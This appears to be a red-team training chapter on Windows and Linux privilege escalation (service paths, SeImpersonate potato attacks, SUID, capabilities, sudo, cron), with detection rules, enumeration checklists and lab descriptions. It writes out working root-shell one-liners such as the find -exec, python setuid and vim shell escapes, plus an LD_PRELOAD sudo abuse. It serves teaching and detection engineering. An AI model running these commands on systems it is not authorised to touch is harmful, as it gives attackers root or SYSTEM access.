That is a start, not a finish. Credential theft (LSASS, /etc/shadow, cloud metadata), persistence that survives reboots (service install, scheduled task), lateral movement with administrative access (WMI, PSRemoting, SSH), and access to protected stores all require elevated privilege on at least one host first. Phase 05's Active Directory attack paths begin from a SYSTEM token or DA credentials — which come from a privesc you execute in Phase 04.
The finding the client keeps is not "we got SYSTEM." It is: the specific misconfiguration, the ATT&CK technique it maps to, the precise telemetry it emits, and the detection rule that catches it. That is what turns a red-team win into a lasting defensive investment.
Chapter 2 — The Windows Security Model, from Zero
2.1 Processes, threads, and identity
Every user-mode program runs as a process, which is the OS unit of isolation: its own virtual address space, its own handle table, its own security context. Within a process run one or more threads, which share the process's address space and handle table.
A thread's security context is carried in two places:
- The primary access token on the process — the default identity for that process.
- An optional impersonation token on a specific thread — a temporarily assumed identity (used heavily by services like RPC/IIS to act as the calling user).
2.2 The access token — the security principal in practice
The access token is a kernel object (tagged TOKEN, type SeTokenObjectType). Every process has one. It contains:
| Field | What it is |
|---|---|
| User SID | The identity: S-1-5-21-<domain>-<RID> for domain accounts; S-1-5-18 for SYSTEM |
| Group SIDs | All groups the user belongs to, each with attributes (enabled/disabled/deny-only) |
| Privileges | A table of named capability flags (SeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege, …) each in state enabled/disabled/removed |
| Default DACL | The DACL applied to objects this process creates without an explicit one |
| Integrity level | A mandatory label (Untrusted / Low / Medium / High / System) |
| Token type | Primary (full process identity) vs. Impersonation (thread-level, ranges up to Delegation level) |
| Origin / logon session | Which logon session created this token |
The critical insight: privilege escalation on Windows is almost always about getting a token you did not earn legitimately — either by stealing a SYSTEM token, impersonating one, or injecting code into a process that carries one.
2.3 SIDs vs. Privileges — the most important distinction
A SID (S-1-5-21-…-500 for Administrator, S-1-5-18 for SYSTEM, S-1-5-32-544 for the Administrators group) is an identity. An ACE in a DACL grants or denies access to a SID. Changing your effective SID is what "becoming SYSTEM" means.
A privilege (SeImpersonatePrivilege, SeDebugPrivilege, …) is a capability — the right to perform a specific OS operation that bypasses the normal object-access check. Many privileges are granted to service accounts by the SCM as part of their job (IIS's app-pool identity gets SeImpersonatePrivilege so it can act as the connected user). A single dangerous privilege on a low-privileged account is a path to SYSTEM even without changing the user SID first.
2.4 Object security descriptors and the access check
Every securable Windows object (file, registry key, process, service, named pipe) carries a security descriptor:
- Owner SID — who owns it
- DACL — an ordered list of ACEs (Access Control Entries), each
(SID, type ALLOW/DENY, access-mask) - SACL — the System ACL for auditing (generates Security event log entries on access)
- Integrity label — the mandatory integrity level
When a thread opens an object, the kernel's SeAccessCheck function:
- Takes the thread's effective token.
- Iterates the DACL in order (DENY ACEs win over ALLOW).
- Checks whether the requested access mask (e.g.
WRITE_DAC | SERVICE_CHANGE_CONFIG) is satisfied by ACEs matching the token's SIDs. - Returns success or
ACCESS_DENIED.
A weak DACL on a service or binary means a SID that should not have write access does — and overwriting the binary or reconfiguring the service is the escalation.
2.5 Integrity levels and Mandatory Integrity Control (MIC)
Every process and object carries an integrity level (IL), implemented as an additional SACL-like label:
| Level | SID | Typical occupant |
|---|---|---|
| Untrusted | S-1-16-0 | Sandboxed (e.g. Chrome renderer) |
| Low | S-1-16-4096 | Internet Explorer Protected Mode |
| Medium | S-1-16-8192 | Standard user logon |
| High | S-1-16-12288 | Administrator (after UAC elevation) |
| System | S-1-16-16384 | SYSTEM, kernel drivers |
The No-Write-Up policy: a process at a lower IL cannot write to an object at a higher IL, even if the DACL would allow it. A Medium-IL process cannot inject into a High-IL process via ordinary means.
UAC is NOT a security boundary. This is a formal Microsoft statement. UAC is a convenience mechanism — it forces admin users to acknowledge that they are elevating, but it does not prevent elevation. A process running Medium-IL with an admin token can launch a High-IL process (the UAC prompt); if the user approves (or an auto-elevation condition is met, as with many system binaries), it becomes High. Once High, it can interact with SYSTEM-level services. Microsoft's security boundary documentation explicitly says: "User Account Control is not a security boundary; it is a convenience prompt."
The interview implication: if you hold a "medium-integrity admin" process on a host, you are one auto-elevating bypass (or one prompt from the user) from High, then from SYSTEM. Do not treat it as a wall.
2.6 Services and the Service Control Manager
Services are long-running processes launched by the Service Control Manager (SCM), which runs as SYSTEM. The SCM reads service configuration from HKLM\SYSTEM\CurrentControlSet\Services\<name>:
ImagePath— the binary (or command line) to launchObjectName— the account to run as (LocalSystem,LocalService,NetworkService, or a domain user)- Service-level DACL stored in the
Securitysubkey
Every service has an SDL-issued DACL controlling who may start/stop/query/change it. If a low-privileged principal holds SERVICE_CHANGE_CONFIG or WRITE_DAC on a service, they can redirect ImagePath to their binary and have it run as SYSTEM.
Chapter 3 — Windows Escalation Paths: Under the Hood + Detection
3.1 Unquoted Service Path (T1574.009)
What it is. When the SCM resolves a service ImagePath with spaces and no quotes — C:\Program Files\My App\svc.exe — it tries each space-separated prefix in order:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\svc.exe
If a low-privileged user can write C:\Program.exe or C:\Program Files\My.exe (i.e., can create a file in C:\ or C:\Program Files\), the SCM will launch their binary as the service's ObjectName (often SYSTEM).
Precondition you must verify: write access to an intermediate path. An unquoted service path with no writable prefix is not exploitable. This is the most common reporting error.
Detection:
- Sysmon EID 1 (ProcessCreate): a process spawned by
services.exewith an image path in an unusual directory (C:\Program.exe, a non-standard location). - Security EID 7045 (New Service Installed): if the attacker installs a service to deliver the payload.
- Security EID 4688 (New Process): with
SubjectUserName=SYSTEMor the service account and a suspiciousNewProcessName.
Sigma sketch:
logsource: {product: windows, category: process_creation}
detection:
selection:
ParentImage|endswith: '\services.exe'
Image|startswith:
- 'C:\Program.exe'
- 'C:\Windows.exe'
condition: selection
3.2 Weak Service Binary / DACL (T1543.003 / T1574.010)
Two variants:
- Weak binary ACL: the service binary on disk (
ImagePath) is writable by a low-privileged user. Replace it → SYSTEM executes attacker code on next start/restart. - Weak service DACL: a low-privileged principal holds
SERVICE_CHANGE_CONFIGon the service object itself. They can changeImagePathin the registry (or viaChangeServiceConfig) to point to attacker code.
Under the hood. ChangeServiceConfig calls the SCM's RChangeServiceConfigW RPC; the SCM checks the caller's token against the service DACL. If the DACL is misconfigured (Everyone has SERVICE_CHANGE_CONFIG, or Authenticated Users has SERVICE_ALL_ACCESS), the check passes for any logged-in user.
Detection:
- Security EID 4670 (Permissions on an object were changed): if the DACL itself is weakened.
- Security EID 7040 (Service changed): configuration change on a service.
- Sysmon EID 11 (FileCreate): a write to a service binary path by a non-SYSTEM user.
- Sysmon EID 13 (RegistryValueSet):
HKLM\SYSTEM\CurrentControlSet\Services\<name>\ImagePathmodified by a non-admin user.
3.3 SeImpersonatePrivilege — The Potato Family (T1134.001 / T1134.002)
This is the most common Windows privesc in the wild, because IIS app-pool identities, SQL Server service accounts, and many other service identities ship with SeImpersonatePrivilege by design.
What SeImpersonatePrivilege means. It is the right to call ImpersonateNamedPipeClient, DuplicateTokenEx, or other token-duplication APIs on a token of equal or lower integrity level. The OS grants this to service accounts so they can act as the connecting user (the normal, intended use in RPC/IIS/SQL).
The exploit class — potato family (concept only).
- A low-privileged service account holds
SeImpersonatePrivilege. - The attacker coerces a SYSTEM-token-bearing process to authenticate to a locally-controlled named pipe (or COM object).
- The attacker calls
ImpersonateNamedPipeClienton the pipe handle, stealing the SYSTEM token. - With the impersonated SYSTEM token, they call
CreateProcessWithTokenWto spawn a shell as SYSTEM.
Variants (PrintSpoofer, RoguePotato, GodPotato, JuicyPotato) differ in the coercion mechanism; the token-impersonation step is identical.
Detection:
- Security EID 4673 (Sensitive Privilege Use):
SeImpersonatePrivilegeused outside the expected context (service account impersonating a SYSTEM token rather than a user token). - Security EID 4624 / 4648 (Logon): logon type 9 (NewCredentials — impersonation via
ImpersonateLoggedOnUser) from an account that should not be doing impersonation. - Sysmon EID 1: a process created with
CreateProcessWithTokenWfrom acmd.exeorpowershell.exechild of a service process. - Behavioral: service account spawning an interactive shell (
cmd.exe,powershell.exe) — a service process that creates an interactive child is almost always suspicious.
3.4 SeDebugPrivilege (T1134.002)
SeDebugPrivilege grants the right to open any process, including SYSTEM processes, with full access (PROCESS_ALL_ACCESS), bypassing the object-level DACL check. The legitimate use: kernel debuggers and memory-analysis tools. In an attacker's hands on a medium-IL admin: open lsass.exe for credential dumping, or open a SYSTEM process and inject shellcode.
Detection:
- Sysmon EID 10 (ProcessAccess): a non-system process opening
lsass.exeor a SYSTEM-owned process withGrantedAccessmasks indicatingPROCESS_VM_READ/PROCESS_VM_WRITE. - Security EID 4673:
SeDebugPrivilegeuse.
3.5 Weak Registry Autorun ACL (T1547.001)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and RunOnce execute programs at logon for all users, as the logon session's identity (often the next admin to log in = High-IL token). If the DACL on the key permits a low-privileged user to write to it, they can add an entry pointing to their payload.
Under the hood. HKLM requires admin rights by default, but organizations sometimes misconfigure group policy or post-install scripts create subkeys with overly permissive ACLs. Use Get-Acl / icacls / accesschk.exe against the key; if any non-admin SID holds SetValue or CreateSubKey, it is exploitable.
Detection:
- Sysmon EID 13 (RegistryValueSet): a non-admin user writing to
Run/RunOncekeys. - Security EID 4657 (Registry value was modified): same.
3.6 DLL Search-Order Hijacking (T1574.001)
How Windows resolves a DLL. When a process loads crypto.dll without a full path, it searches:
- Known DLLs (
HKLM\SYSTEM\…\KnownDLLs) — pinned, cannot hijack. - The process's executable directory.
- The system directory (
C:\Windows\System32). - The 16-bit system directory.
- The Windows directory (
C:\Windows). - The current working directory (CWD).
- Directories on
%PATH%in order.
If a SYSTEM-level service loads libfoo.dll and a low-privileged user can write to any directory that appears in steps 2–7 before the legitimate copy, the OS loads the attacker's DLL. The DLL runs in the service's process context — SYSTEM.
Detection:
- Sysmon EID 7 (ImageLoad): a DLL loaded from an unexpected path (
%TEMP%,%APPDATA%, or a user-writable directory) by a SYSTEM-level process. - Sysmon EID 11 (FileCreate): a DLL written to a writable directory on the SYSTEM service's search path.
3.7 Writable Scheduled Task (T1053.005)
Scheduled tasks are stored in C:\Windows\System32\Tasks\ (XML task files) or in the registry. The Task Scheduler runs them as the configured principal — often SYSTEM or a high-privileged account. If:
- The task XML file is writable to a low-privileged user, or
- The binary or script the task runs is writable to a low-privileged user,
then modifying the task action or the target binary yields code execution as SYSTEM on the next task trigger.
Detection:
- Security EID 4698 (Scheduled task was created) / 4702 (task modified): source identity that should not be creating privileged tasks.
- Sysmon EID 11: write to
C:\Windows\System32\Tasks\. - Sysmon EID 1: a SYSTEM task spawning unexpected children.
Chapter 4 — The Linux Security Model, from Zero
4.1 Identity: real, effective, and saved UIDs
Every process carries three uid (and three gid) values:
| Name | Meaning |
|---|---|
| ruid (real uid) | Who you actually are (the uid of the user who launched the process) |
| euid (effective uid) | What the kernel checks for permission decisions |
| suid (saved uid) | A saved copy so a privileged process can drop and re-acquire privilege |
The kernel's access check uses euid (and egid + supplementary groups). The goal of Linux privilege escalation is euid = 0.
4.2 SUID/SGID — the mechanism
A file with the SUID bit set (chmod u+s file or mode 4755) causes the OS, on execve, to set the new process's euid to the file owner's uid — regardless of who ran it. If root owns chmod and it has SUID set, anyone who runs it gets euid=0.
The kernel enforces this in do_execve() → bprm_set_creds():
- The kernel reads the file's uid/gid and mode bits.
- If
S_ISUIDis set,bprm->cred->euid = file->uid. - The new process inherits that credential.
GTFOBins is the curated catalog of Unix binaries that, when they have SUID or sudo access, produce a root shell via their built-in features (e.g., find with -exec sh, vim with :!sh, python3 -c "import os; os.setuid(0); os.system('/bin/sh')).
4.3 File capabilities — root decomposed
The capabilities system decomposes the root privilege set into ~40 independent flags, each granting a specific kernel permission without granting all of root. A binary can hold capabilities via extended attributes (security.capability xattr) without being SUID root.
Key capabilities for privesc:
| Capability | Effect |
|---|---|
CAP_SETUID | Call setuid(0) — become root. A binary with cap_setuid is effectively root. |
CAP_DAC_OVERRIDE | Override all discretionary access control (read/write/execute any file). |
CAP_DAC_READ_SEARCH | Override read permission on files and directories. |
CAP_SYS_PTRACE | Trace arbitrary processes — can read/write another process's memory. |
CAP_NET_BIND_SERVICE | Bind to privileged ports (< 1024) — not directly a privesc path. |
CAP_SYS_ADMIN | Broad: mount, clone namespaces, set hostname, etc. Often = root. |
The kernel checks capabilities in capable() / ns_capable() based on the process's effective capability set. getcap /path/to/binary reads the xattr.
4.4 sudo — the authorized escalation mechanism that is often misconfigured
sudo allows a configured user to run specific commands as another user (typically root), authenticated. The policy is in /etc/sudoers and drop-in files in /etc/sudoers.d/. Syntax:
user host = (runas) NOPASSWD: command
Dangerous patterns:
NOPASSWD: /usr/bin/vim— GTFOBins::!shfrom inside vim gives root shell.NOPASSWD: /usr/bin/find— GTFOBins:find . -exec sh -p \;.(ALL) NOPASSWD: ALL— unrestricted root. Common on misconfigured dev boxes.NOPASSWD: /opt/scripts/*.sh— wildcard in command path: place/opt/scripts/evil.sh, run it via sudo.env_keep += LD_PRELOAD— attacker setsLD_PRELOADto a shared library that callssetuid(0)andsetgid(0)before the real program initializes. Applies even to the otherwise-safe binary in the rule.
4.5 PATH hijacking and cron misconfigurations
PATH hijack. If a root-owned cron job or init script runs a command without an absolute path (e.g., backup instead of /usr/local/bin/backup) and a low-privileged user controls a directory that appears earlier in root's PATH than the real binary, placing a file named backup there causes root to run attacker code.
Writable cron script. If a root cron runs a script (/etc/cron.daily/logrotate.sh) and that script is writable by a low-privileged user, the user can append code to it and wait for the cron to fire.
Writable cron directory. If /etc/cron.d/ or /etc/cron.daily/ is world-writable (misconfigured install), placing a new cron file there achieves the same.
4.6 Namespaces and container-escape surface
Linux namespaces isolate kernel resources (PID, network, mount, UTS, IPC, user, cgroup). The user namespace is particularly relevant: it allows unprivileged processes to create a namespace in which they hold full capabilities, while appearing as a normal user outside it. A container runtime (Docker, runc) uses namespaces to isolate the container.
Container-escape paths (concept, not lab steps):
--privilegedcontainer: all capabilities granted, can mount the host filesystem.- Host PID/network namespace: direct access to host processes/interfaces.
- Writable Docker socket (
/var/run/docker.sock): run a container that mounts host/as root. - Kernel exploits (cve, not our focus): dirty-cow style uid-0 write in an older kernel.
The relevant privesc finding for this track is the socket and the --privileged flag, because both appear in real deployment configurations and both produce a root shell without a kernel exploit.
Chapter 5 — Linux Escalation Paths: Under the Hood + Detection
5.1 Dangerous SUID Binaries (T1548.001)
Finding. find / -perm -4000 -type f 2>/dev/null lists all SUID binaries. Cross-reference against GTFOBins. High-value findings: python3, bash, vim, find, perl, nmap, less, more, awk, tee.
Concept of exploit. bash -p — the -p flag preserves the setuid euid; most shell invocations explicitly drop it. python3 -c "import os; os.execl('/bin/sh', 'sh', '-p')" similarly preserves the elevated euid.
Detection:
- auditd:
execvesyscall whereeuid=0andruid!=0(setuid binary executed by non-root). Rule:-a always,exit -F arch=b64 -S execve -F euid=0 -F ruid!=0 -k suid_execution. - Correlate with the parent process's ruid to distinguish legitimate (e.g.,
sudo) from unexpected.
5.2 Dangerous Capabilities (T1548.001)
Finding. getcap -r / 2>/dev/null. A binary with cap_setuid+ep (effective + permitted) can setuid(0) freely.
Concept of exploit. Python3 with cap_setuid: python3 -c "import os; os.setuid(0); os.system('/bin/bash')". The binary calls setuid(0), the kernel checks the effective capability set (which includes CAP_SETUID), succeeds, and the process now has euid=0.
Detection:
- auditd:
setuidsyscall witha0=0(callingsetuid(0)) from a process not expected to do so.-a always,exit -F arch=b64 -S setuid -F a0=0 -k setuid_root. - Alert on processes calling
setuid(0)whose parent is not a known privilege-management binary (PAM, sudo).
5.3 sudo NOPASSWD Misconfigurations (T1548.003)
Finding. sudo -l — lists what the current user may run as root.
Key patterns and their exploit concepts:
NOPASSWD: /usr/bin/vim→:!shor!/bin/bashinside vim.NOPASSWD: /usr/bin/find→sudo find . -exec /bin/sh \; -quit.env_keep += LD_PRELOAD+ any NOPASSWD binary →sudo LD_PRELOAD=/tmp/evil.so <binary>.- Wildcard
*.sh→ create a path-matching file, run it.
Detection:
- auditd:
execveofsudoorsu(-k privilege_escalation); correlate with the spawned child process — a shell spawned by a non-root user via sudo is worth alerting on if the sudo rule is restricted. /var/log/auth.log//var/log/secure:sudo: <user> : TTY=… ; COMMAND=…— all sudo invocations are logged here. A regex match on the command matching a GTFOBins pattern is a detection.pam_tty_audit— record all keystrokes in a sudo session.
5.4 Writable Root PATH / Cron (T1053.003 / T1574.007)
Finding. Check cron files (/etc/cron*, /var/spool/cron/crontabs/root) for commands without absolute paths or scripts you can write to. Check pspy output on a running system to observe root-cron commands.
Detection:
- auditd:
inotify/fanotifyon/etc/cron.d,/etc/crontab,/etc/cron.daily— write events from non-root UIDs are immediately suspicious. - Cron jobs that spawn shells under root's UID where the command matches a file that changed recently.
Chapter 6 — Telemetry Architecture: What the OS Logs and Why
Windows logging stack
Kernel ──► Security Event Log (via LSA audit subsystem)
├── 4688 New process created (includes command line if enabled)
├── 4673 Sensitive privilege used (SeImpersonate, SeDebug, …)
├── 4674 Operation attempted on privileged object
├── 4624 Logon (includes LogonType: 9 = impersonation)
├── 4698 Scheduled task created
├── 4702 Scheduled task modified
├── 7040 Service config changed
└── 7045 New service installed
Sysmon driver (rings 0/3)
├── EID 1 ProcessCreate (parent/child + full command line)
├── EID 7 ImageLoad (DLL path + signer)
├── EID 10 ProcessAccess (GrantedAccess mask on target process)
├── EID 11 FileCreate
├── EID 12/13 RegistryEvent (key/value create/modify)
└── EID 22 DNSQuery
Why command-line logging matters. Without it, you see that powershell.exe ran; with it (4688's ProcessCommandLine or Sysmon EID 1's CommandLine), you see what it ran. Most Windows privesc techniques are identifiable from command-line content + parent-child relationships.
Linux logging stack
Kernel syscall interface
│
├── auditd: configured via audit rules (-a always,exit -S execve …)
│ ├── execve (process launch with arguments + ruid/euid)
│ ├── setuid/setgid (privilege change)
│ ├── open/openat (file access)
│ └── socket (network)
│
├── /var/log/auth.log (PAM, sudo, su, SSH — auth events)
├── /var/log/syslog (service manager: systemd unit state changes)
└── eBPF (modern): bpftrace / Falco / Tetragon at the syscall boundary
(higher fidelity, harder to tamper with)
Why auditd execve is foundational. Every privesc results in a privileged process being launched (euid=0). execve with euid=0 and ruid!=0 means a non-root user launched a root-privileged binary — that is the detection event, regardless of which technique achieved it.
Chapter 7 — Enumeration-to-Finding Methodology
The engagement methodology for this phase is a loop: enumerate → identify path → classify as finding (with ATT&CK + detection) → hardening recommendation.
Windows enumeration checklist
Run on the owned range against a seeded host; never against a target without authorization:
Services:
sc qc <service> # ImagePath (check for unquoted paths with spaces)
icacls <service-binary-path> # writable by non-admin?
accesschk.exe -uwcqv "Users" * # who has SERVICE_CHANGE_CONFIG?
Token privileges:
whoami /priv # look for SeImpersonate, SeDebug, SeBackup
Registry autoruns:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-Acl HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Scheduled tasks:
schtasks /query /fo LIST /v # RunAs + command
icacls C:\Windows\System32\Tasks\<taskname>
DLL paths (check writable dirs on %PATH%):
echo %PATH%
icacls <each-dir>
Linux enumeration checklist
SUID:
find / -perm -4000 -type f 2>/dev/null
Capabilities:
getcap -r / 2>/dev/null
Sudo:
sudo -l
Cron:
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/root 2>/dev/null
PATH:
echo $PATH
find <PATH-dirs> -writable 2>/dev/null
Writable root scripts:
find / -path /proc -prune -o -writable -type f -perm /6000 2>/dev/null
Classifying a finding
For every path found, document:
- Misconfiguration — what exactly is wrong (SUID on
python3,SERVICE_CHANGE_CONFIGforAuthenticated Users) - ATT&CK technique — the canonical technique ID and name
- Precondition — what additional condition makes it exploitable (writable intermediate dir for unquoted paths; sudo rule with the right binary)
- Path to root/SYSTEM — the conceptual steps (no live exploitation)
- Detection — the log source, event ID, and detection condition
- Hardening — the fix (remove SUID bit, tighten DACL, fix sudo rule, quote the service path)
Chapter 8 — Detection Engineering for Privesc
The privesc finding is complete only when it includes the detection that catches it. This is the bar the track sets and the bar Mandiant's reports set — without it, the client cannot close the gap.
The detection design pattern
Every privesc technique is a behavior with a kernel-visible footprint. The footprint is detectable; the detection is most robust when it keys on the mechanism (the invariant the technique requires), not on the tool's name.
| Technique | Kernel-visible footprint | Robust detection key |
|---|---|---|
| Unquoted service path | services.exe spawns a process from a non-standard path | Parent = services.exe, image not in %SYSTEMROOT% |
| Weak service DACL | Registry write to \Services\<name>\ImagePath by non-admin | EID 13 + non-admin writer SID |
| SeImpersonate potato | Service account creates interactive shell | Service process spawning cmd.exe/powershell.exe as SYSTEM |
| SUID abuse (Linux) | execve with euid=0, ruid!=0 | auditd: execve -F euid=0 -F ruid!=0 |
| sudo misconfig | sudo → child shell of unusual type | auth.log: sudo invocation of GTFOBins binary |
| Cron hijack | Write to /etc/cron* by non-root | auditd: openat on cron file with write flag by uid!=0 |
Sigma structure for a Windows privesc rule
title: Service Process Spawning Interactive Shell
id: e4f9a0b1-7c3d-4e2a-8f1b-9a0c2d3e4f5a
status: experimental
description: >
A process managed by the Service Control Manager spawned an interactive shell,
which is unexpected for legitimate services and consistent with token-impersonation
(potato family) or service binary replacement.
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\services.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
condition: selection
falsepositives:
- Legitimate services that spawn cmd for scripted tasks (enumerate and add to exclusion)
level: high
tags:
- attack.privilege_escalation
- attack.t1134.001
auditd rule for SUID execution (Linux)
-a always,exit -F arch=b64 -S execve -F euid=0 -F ruid!=0 -k suid_exec
This fires on every execve where the resulting process has euid=0 but was launched by a non-root ruid. Post-process the audit log: expected SUID execves (ping, sudo, newgrp) are allowlisted by image path; everything else is reviewed.
Chapter 9 — Significance: Why This Phase Makes or Breaks the Engagement
The foothold is not the outcome
On a Mandiant engagement, the question at Phase 04's end is not "did you get SYSTEM?" but "what would a FIN-LATTICE actor do with SYSTEM on this foothold, and can Meridian detect the path they took?" The outcome of Phase 04 feeds directly into:
- Phase 05 (Active Directory): domain user → domain admin requires SYSTEM on at least one host to extract a Kerberos ticket, dump credentials, or install a persistent beacon.
- Phase 06 (Payload/execution): SYSTEM context changes which execution APIs are available and which EDR hooks apply (SYSTEM processes are not constrained by user-mode hooks the same way a low-privileged user process is).
- Phase 08 (C2): beacon persistence at SYSTEM level survives reboots and user logoffs.
What the client keeps
The deliverable is not the SYSTEM shell — the deliverable is a per-foothold finding document that Meridian's security team can hand to a system administrator with the five fields: misconfiguration, ATT&CK technique, path-to-privilege, detection, and hardening. That document persists long after the engagement ends.
Chapter 10 — Misconceptions
"UAC stops privilege escalation." No. UAC is a UX friction layer. It requires admin users to acknowledge elevation, but it does not prevent an already-admin user from elevating to High IL, and it does not protect SYSTEM-level operations from a High-IL process. Microsoft formally documents UAC as a non-security boundary.
"A service account with SeImpersonatePrivilege is low-risk." It is high-risk. SeImpersonatePrivilege is the enabling condition of the entire potato family. A service account that holds it and that a low-privileged user can reach (by exploiting the service, injecting through a web app, etc.) is a SYSTEM escalation path.
"An unquoted service path is always exploitable." Only if a lower-precedence path has a writable directory. If C:\ is locked to admins (standard hardened build), the unquoted path C:\Program Files\My App\svc.exe is not exploitable even though it is misquoted.
"Root capabilities (cap_setuid) are safer than SUID root." Capabilities were designed to limit the blast radius of a root escape, but cap_setuid+ep on a binary is functionally identical to SUID root: the binary can call setuid(0) and become fully root. Capabilities reduce surface area only when used minimally; a broad capability like cap_dac_override or cap_sys_admin is nearly as dangerous as root.
"sudo is always safe because it requires authentication." It is safe when the rule is minimal and the binary is not in GTFOBins. A NOPASSWD: /usr/bin/vim rule is a passwordless root shell. Authentication does not matter if the command itself spawns a shell.
"SUID bash is always bash -p." The -p flag is required because most modern bash distributions drop privileges on execution if euid != ruid. Without -p, bash drops back to ruid. The exploit requires the flag — and that flag is well-documented and well-detected.
"Privesc findings are complete when you've named the technique." A finding without a detection paired to it fails the track's bar and fails the client. The detection is what turns the finding from a one-time offense into a permanent defensive control.
Lab Walkthrough
Lab 01 — Windows Privilege-Escalation Analyzer
What it does. Ingests a synthetic Python dict of host facts (services with their binary paths and ACLs, token privileges, registry autoruns, scheduled tasks, integrity level) and returns a sorted list of privilege-escalation findings, each with ATT&CK technique, path-to-SYSTEM description, and Sysmon/Event-Log detection.
Key data structures:
host_facts = {
"services": [
{
"name": "VulnSvc",
"image_path": "C:\\Program Files\\Vuln App\\svc.exe",
"run_as": "LocalSystem",
"binary_writable_by": ["BUILTIN\\Users"],
"dacl": ["BUILTIN\\Users:SERVICE_CHANGE_CONFIG"],
}
],
"token_privileges": ["SeImpersonatePrivilege", "SeChangeNotifyPrivilege"],
"autoruns": [
{"key": "HKLM\\...\\Run", "value": "Updater", "path": "C:\\Temp\\updater.exe",
"key_writable_by": ["BUILTIN\\Users"]}
],
"scheduled_tasks": [
{"name": "Cleanup", "run_as": "SYSTEM", "action": "C:\\Scripts\\cleanup.bat",
"script_writable_by": ["BUILTIN\\Users"]}
],
}
Walking through the solution logic:
unquoted_path_issue(service)— checksimage_pathcontains a space and is not quoted, then checksbinary_writable_byordaclfor a writable intermediate directory.writable_service(service)— checksbinary_writable_byfor non-admin SIDs, ordaclcontainsSERVICE_CHANGE_CONFIGfor non-admin SIDs.dangerous_privileges(privileges)— cross-references against the catalog{SeImpersonatePrivilege: T1134.001, SeDebugPrivilege: T1134.002, …}.weak_autorun(autorun)— checkskey_writable_byfor non-admin SIDs.writable_task(task)— checksscript_writable_byor task binarywritable_by.analyze(host_facts)— calls all five checkers, deduplicates by technique, sorts by severity.
Running:
cd phase-04-os-internals-privesc/lab-01-windows-privesc-analyzer
LAB_MODULE=solution python3 -m pytest -q
Expected: 15 tests green. The reference finds unquoted path, writable service binary, writable service DACL, dangerous privilege (SeImpersonate), weak autorun ACL, and writable scheduled task — each with ATT&CK ID and detection.
Lab 02 — Linux Privilege-Escalation Auditor
What it does. Ingests a synthetic dict of enumerated Linux facts (SUID file list, capabilities, sudo rules, writable PATH entries, cron files/scripts) and returns audit findings with ATT&CK technique, escalation note, and auditd detection.
Key data structures:
facts = {
"suid_files": [
{"path": "/usr/bin/python3.9", "owner": "root"},
{"path": "/usr/bin/ping", "owner": "root"},
],
"capabilities": [
{"path": "/usr/bin/python3.9", "caps": "cap_setuid+ep"},
],
"sudo_rules": [
{"runas": "root", "nopasswd": True, "cmd": "/usr/bin/vim"},
{"runas": "root", "nopasswd": False, "cmd": "/usr/bin/find"},
],
"writable_path_dirs": ["/home/user/.local/bin"],
"cron_files": [
{"path": "/etc/cron.daily/backup.sh", "writable_by_user": True}
],
}
Walking through the solution logic:
suid_findings(facts)— cross-references SUID file names against the GTFOBins catalog. Known-safe binaries (ping,newgrp,mount,su) are excluded; dangerous ones (python3,bash,vim,find,perl, …) produce findings.capability_findings(facts)— looks forcap_setuid,cap_dac_override,cap_sys_ptrace,cap_sys_adminin the caps string.sudo_findings(facts)— checks NOPASSWD, wildcard in cmd, GTFOBins binary in cmd, checks forenv_keepwithLD_PRELOAD.path_findings(facts)— checks if user-writable directories appear in PATH before system directories.cron_findings(facts)— checkswritable_by_userflag on cron files/scripts.audit(facts)— calls all five, deduplicates, returns sorted list.
Running:
cd phase-04-os-internals-privesc/lab-02-linux-privesc-auditor
LAB_MODULE=solution python3 -m pytest -q
Expected: 16 tests green. The reference finds dangerous SUID python3, cap_setuid capability, NOPASSWD vim (GTFOBins), writable cron script — each with detection.
Success Criteria
After completing this phase, without notes you can:
- Draw the Windows security model: process → token → SID + groups + privileges → object → DACL → access check.
- Explain why UAC is not a security boundary and what that implies for an engagement.
-
Explain
SeImpersonatePrivilege: who gets it, the potato family concept, the detection. - State the exact precondition that makes an unquoted service path exploitable.
-
Draw the Linux model:
execve→ euid from SUID bit or capability → kernel check → root access. - List five GTFOBins binaries and the mechanism by which each provides a root shell (SUID path).
-
Explain
cap_setuid+epand why it equals SUID root. - List three sudo misconfigurations that give root and their detections.
- Write a Sysmon rule (YAML Sigma format) for a Windows privesc technique.
-
Write an auditd
-a always,exitrule for a Linux privesc technique. -
Pass both labs (
LAB_MODULE=solution pytest) and implement both stubs from scratch.
Common Mistakes and OPSEC
Reporting unquoted service paths without confirming the writable prefix. The automated check is not the finding; the finding is the exploitable path. Always verify.
Treating a privilege as an identity. In a report, name the privilege (SeImpersonatePrivilege) and the technique it enables (T1134.001) separately from the SID of the account. Conflating them confuses remediation — the fix is removing the privilege, not changing the identity.
Missing capabilities in a Linux audit. find / -perm -4000 is not enough. getcap -r / is a separate command that finds capabilities, which are not visible in file permissions. Miss it and you miss a path that find will not surface.
Treating NOPASSWD absence as safe. A sudo rule with a password requirement and a GTFOBins binary is still exploitable — it just requires the password. If the user can social-engineer or phish the password (or it is blank), the rule is dangerous. Flag any GTFOBins binary in sudo rules regardless of NOPASSWD.
Writing detections that key on tool names. A Sysmon rule detecting potato.exe by filename is bypassed by renaming. Write rules on the behavioral footprint: parent process, privilege use event ID, command line pattern, or API call — not on the binary name.
Not pairing a detection with every finding. The track's definition of done is the finding-plus-detection pair. A privesc finding submitted without the detection rule is incomplete and fails the portfolio bar.
Interview Q&A
Q1: Walk me through the Windows access-token model. What is the difference between a SID, a group SID, and a privilege, and how does an object's DACL get checked against a token?
Answer:
Every Windows process has a primary access token — a kernel object that carries three things: the user SID (who the process IS, e.g. S-1-5-21-…-1001), a list of group SIDs with attributes (the groups the user belongs to, each either enabled or deny-only), and a privilege table (named capability flags like SeImpersonatePrivilege, each enabled or disabled).
A SID is an identity; a privilege is a capability. They are orthogonal: you can hold SeDebugPrivilege as a regular domain user (if an admin assigned it), or be a member of Administrators without holding SeImpersonatePrivilege (if it was stripped). The distinction matters for escalation: most privesc paths abuse a privilege (a capability granted to a service account for a legitimate reason) rather than the user's SID (which requires direct identity substitution).
